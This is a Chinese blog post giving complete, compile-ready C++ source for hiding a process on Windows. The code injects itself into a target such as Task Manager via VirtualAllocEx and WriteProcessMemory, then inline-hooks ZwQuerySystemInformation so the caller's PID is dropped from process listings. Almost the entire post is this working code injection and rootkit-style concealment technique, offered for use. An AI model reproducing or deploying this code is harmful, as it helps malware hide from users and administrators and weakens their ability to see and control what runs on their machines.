该程序用vs2010编译通过。编译时选择release版本。
该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。
[cpp] view plaincopy
// HideProcess.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <conio.h>
//#include <fstream.h>
typedef LONG NTSTATUS;
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation, // 0 Y N
SystemProcessorInformation, // 1 Y N
SystemPerformanceInformation, // 2 Y N
SystemTimeOfDayInformation, // 3 Y N
SystemNotImplemented1, // 4 Y N
SystemProcessesAndThreadsInformation, // 5 Y N
SystemCallCounts, // 6 Y N
SystemConfigurationInformation, // 7 Y N
SystemProcessorTimes, // 8 Y N
SystemGlobalFlag, // 9 Y Y
SystemNotImplemented2, // 10 Y N
SystemModuleInformation, // 11 Y N
SystemLockInformation, // 12 Y N
SystemNotImplemented3, // 13 Y N
SystemNotImplemented4, // 14 Y N
SystemNotImplemented5, // 15 Y N
SystemHandleInformation, // 16 Y N
SystemObjectInformation, // 17 Y N
SystemPagefileInformation, // 18 Y N
SystemInstructionEmulationCounts, // 19 Y N
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21 Y Y
SystemPoolTagInformation, // 22 Y N
SystemProcessorStatistics, // 23 Y N
SystemDpcInformation, // 24 Y Y
SystemNotImplemented6, // 25 Y N
SystemLoadImage, // 26 N Y
SystemUnloadImage, // 27 N Y
SystemTimeAdjustment, // 28 Y Y
SystemNotImplemented7, // 29 Y N
SystemNotImplemented8, // 30 Y N
SystemNotImplemented9, // 31 Y N
SystemCrashDumpInformation, // 32 Y N
SystemExceptionInformation, // 33 Y N
SystemCrashDumpStateInformation, // 34 Y Y/N
SystemKernelDebuggerInformation, // 35 Y N
SystemContextSwitchInformation, // 36 Y N
SystemRegistryQuotaInformation, // 37 Y Y
SystemLoadAndCallImage, // 38 N Y
SystemPrioritySeparation, // 39 N Y
SystemNotImplemented10, // 40 Y N
SystemNotImplemented11, // 41 Y N
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44 Y N
SystemLookasideInformation, // 45 Y N
SystemSetTimeSlipEvent, // 46 N Y
SystemCreateSession, // 47 N Y
SystemDeleteSession, // 48 N Y
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50 Y N
SystemVerifierInformation, // 51 Y Y
SystemAddVerifier, // 52 N Y
SystemSessionProcessesInformation // 53 Y N
} SYSTEM_INFORMATION_CLASS;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct
{
USHORT Length;
USHORT MaxLen;
USHORT *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _IO_COUNTERSEX
{
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} IO_COUNTERSEX, *PIO_COUNTERSEX;
typedef enum
{
StateInitialized,
StateReady,
StateRunning,
StateStandby,
StateTerminated,
StateWait,
StateTransition,
StateUnknown
} THREAD_STATE;
typedef struct _VM_COUNTERS
{
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
} VM_COUNTERS;
typedef VM_COUNTERS *PVM_COUNTERS;
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
ULONG Priority;
ULONG BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
ULONG WaitReason;
} SYSTEM_THREADS, *PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES // Information Class 5
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
ULONG BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERSEX IoCounters; // Windows 2000 only
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
typedef
NTSTATUS
(NTAPI *ZWQUERYSYSTEMINFORMATION)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
PVOID g_lpRemoteAllocBase;
DWORD GetFunAddress(PUCHAR lpFunStart)
{
DWORD dwFunAddress;
if (*lpFunStart == 0xE9)
{
//在Debug版本里VC会做一个跳转
dwFunAddress = (DWORD)lpFunStart + *(DWORD *)(lpFunStart + 1) + 5;
}
else
{
dwFunAddress = (DWORD)lpFunStart;
}
return dwFunAddress;
}
__declspec (naked) VOID FunStart()
{
_asm
{
nop
nop
}
};//定义函数开始的位置 release版本 没用
__declspec (naked) VOID ZwQuerySystemInformationProxy()
{
//这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是5个字节
_asm
{
nop
nop
nop
nop
nop
mov ebx, 0x88888888 //ZwQuerySystemInformation 方便特征定位
add ebx, 5
jmp ebx
}
}
NTSTATUS
NTAPI
ZwQuerySystemInformationCallback(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
)
{
NTSTATUS ntStatus;
PSYSTEM_PROCESSES pSystemProcesses = NULL, Prev;
_asm
{
push ebx
push ReturnLength
push SystemInformationLength
push SystemInformation
push SystemInformationClass
call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改
mov ntStatus, eax
pop ebx
}
if (NT_SUCCESS(ntStatus) && SystemInformationClass == SystemProcessesAndThreadsInformation)
{
pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation;
while (TRUE)
{
if (pSystemProcesses->ProcessId == 0x12345678) //如果是我们需要隐藏的PID就进行数据修改
//0x12345678 在注入的时候,将会被替换为注入程序进程的PID
{
if (pSystemProcesses->NextEntryDelta)
{
//当我们需要隐藏的进程后面还有进程时
//越过我们自己进程让NextEntryDelta直接指向下一个数据块
Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta;
}
else
{
//当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0
//这时系统在遍历我们进程时就不会发现了
Prev->NextEntryDelta = 0;
}
break;//多个PID比较时候,这里千万要去掉!!!
}
if (!pSystemProcesses->NextEntryDelta) break;
Prev = pSystemProcesses;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
}
return ntStatus;
}
__declspec (naked) VOID FunEnd()
{
_asm {nop}
};//定义函数结束的位置
BOOLEAN SetHook(DWORD dwProcessId, DWORD dwHideId) //参数1注入的目标进程ID 参数2当前进程ID
{
BOOLEAN bRet = FALSE;
DWORD OldProtect;
DWORD dwCodeStart, dwCodeEnd, dwCodeSize;
BYTE HookCode[5] = {0xE9, 0, 0, 0, 0};
HANDLE hProcess = NULL;
PVOID RemoteAllocBase = NULL;
DWORD dwFunAddress;
PUCHAR pBuffer;
dwCodeStart = GetFunAddress((PUCHAR)ZwQuerySystemInformationProxy);
dwCodeEnd = GetFunAddress((PUCHAR)FunEnd);
dwCodeSize = dwCodeEnd - dwCodeStart; //需要注入代码的长度
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);//打开目标进程
if (hProcess)
{
RemoteAllocBase = VirtualAllocEx(hProcess,
NULL,
dwCodeSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);//申请内存地址
if (RemoteAllocBase)
{
printf("\t申请内存地址:0x%x\n", RemoteAllocBase);
g_lpRemoteAllocBase = RemoteAllocBase;
if (ZwQuerySystemInformation)
{
bRet = VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);//打开内存保护
if (bRet)
{
memcpy((PVOID)dwCodeStart, ZwQuerySystemInformation, 5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的
*(DWORD *)(dwCodeStart + 6) = (DWORD)ZwQuerySystemInformation; //这里不需要用特征定位,因为肯定是在第六个字节开始的地方
*HookCode = 0xE9;
dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
dwFunAddress -= dwCodeStart;
dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址
printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n", dwFunAddress);
*(DWORD *)&HookCode[1] = dwFunAddress - 5 - (DWORD)ZwQuerySystemInformation;
dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback);
for (pBuffer = (PUCHAR)dwFunAddress; //自定义回调函数的起始位置
//pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);//自定义回调函数的结束位置
pBuffer < (PUCHAR)dwCodeEnd;
pBuffer++
)
{
if (*(DWORD *)pBuffer == 0x12345678)
{
*(DWORD *)pBuffer = dwHideId;//注入进程的PID
printf("\t成功找到目标,并替换,注入进程的PID:0x%x\n", dwHideId);
//break;//release版本可能有2个0*12345678
}
}
VirtualProtect((PVOID)dwCodeStart,
dwCodeSize,
PAGE_EXECUTE_READWRITE,
&OldProtect
);
}
}
bRet = WriteProcessMemory(hProcess,
RemoteAllocBase,
(PVOID)dwCodeStart,
dwCodeSize,
NULL
);
if (bRet)
{
bRet = WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
HookCode,
5,
NULL
);
}
}
CloseHandle(hProcess);
}
return bRet;
}
BOOLEAN UnHook(DWORD dwProcessId)
{
HANDLE hProcess = NULL;
BOOLEAN bRet = FALSE;
hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwProcessId
);
if (hProcess)
{
bRet = WriteProcessMemory(hProcess,
ZwQuerySystemInformation,
g_lpRemoteAllocBase,
5,
NULL
);
/*VirtualFreeEx(hProcess,
g_lpRemoteAllocBase,
0,
MEM_RELEASE
);*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃
}
return bRet;
}
DWORD GetTaskMgrId()
{
NTSTATUS ntStatus;
ULONG i = 1;
PVOID pBuffer = NULL;
ULONG ReturnLength = 0;
PSYSTEM_PROCESSES pSystemProcesses = NULL;
char szProcName[256];
DWORD dwProcessId = -1;
do
{
if (ReturnLength)
pBuffer = new BYTE[ReturnLength];
else
pBuffer = new BYTE[i * 0x1000];
if (pBuffer)
{
ntStatus = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation,
pBuffer,
ReturnLength == 0 ? i * 0x1000 : ReturnLength,
&ReturnLength
);
if (NT_SUCCESS(ntStatus))
{
break;
}
else if (ntStatus == STATUS_INFO_LENGTH_MISMATCH)
{
delete []pBuffer;
pBuffer = NULL;
}
i++;
}
else
{
break;
}
}
while(ntStatus == STATUS_INFO_LENGTH_MISMATCH);
if (pBuffer)
{
pSystemProcesses = (PSYSTEM_PROCESSES)pBuffer;
while (TRUE)
{
if (pSystemProcesses->ProcessName.Buffer)
{
memset(szProcName, 0, 256);
wsprintf(szProcName, "%S", pSystemProcesses->ProcessName.Buffer);
if (strnicmp(szProcName, "zw2.exe", strlen("zw2.exe")) == 0)
//if (strnicmp(szProcName,"Taskmgr.exe",strlen("Taskmgr.exe"))==0)
{
dwProcessId = pSystemProcesses->ProcessId;
break;
}
}
if (!pSystemProcesses->NextEntryDelta) break;
pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta);
}
delete []pBuffer;
}
return dwProcessId;
}
int main(int argc, char *argv[])
{
DWORD dwTaskMgrId = GetTaskMgrId();
int i;
if (dwTaskMgrId != -1)
{
if (SetHook(dwTaskMgrId, GetCurrentProcessId()))
{
printf("\t请按 \"c\" 或者 \"C\" 键退出程序\r\n");
while (TRUE)
{
Sleep(10);
i = getch();
if (i == 'c' || i == 'C')
break;
}
UnHook(dwTaskMgrId);
}
else
{
printf("\t安装Hook失败...\r\n");
}
}
else
{
printf("\t目前还没有发现 TaskMgr.exe 处于运行中...\r\n");
}
return 0;
}
© happyboy200032的博客 | Powered by LOFTER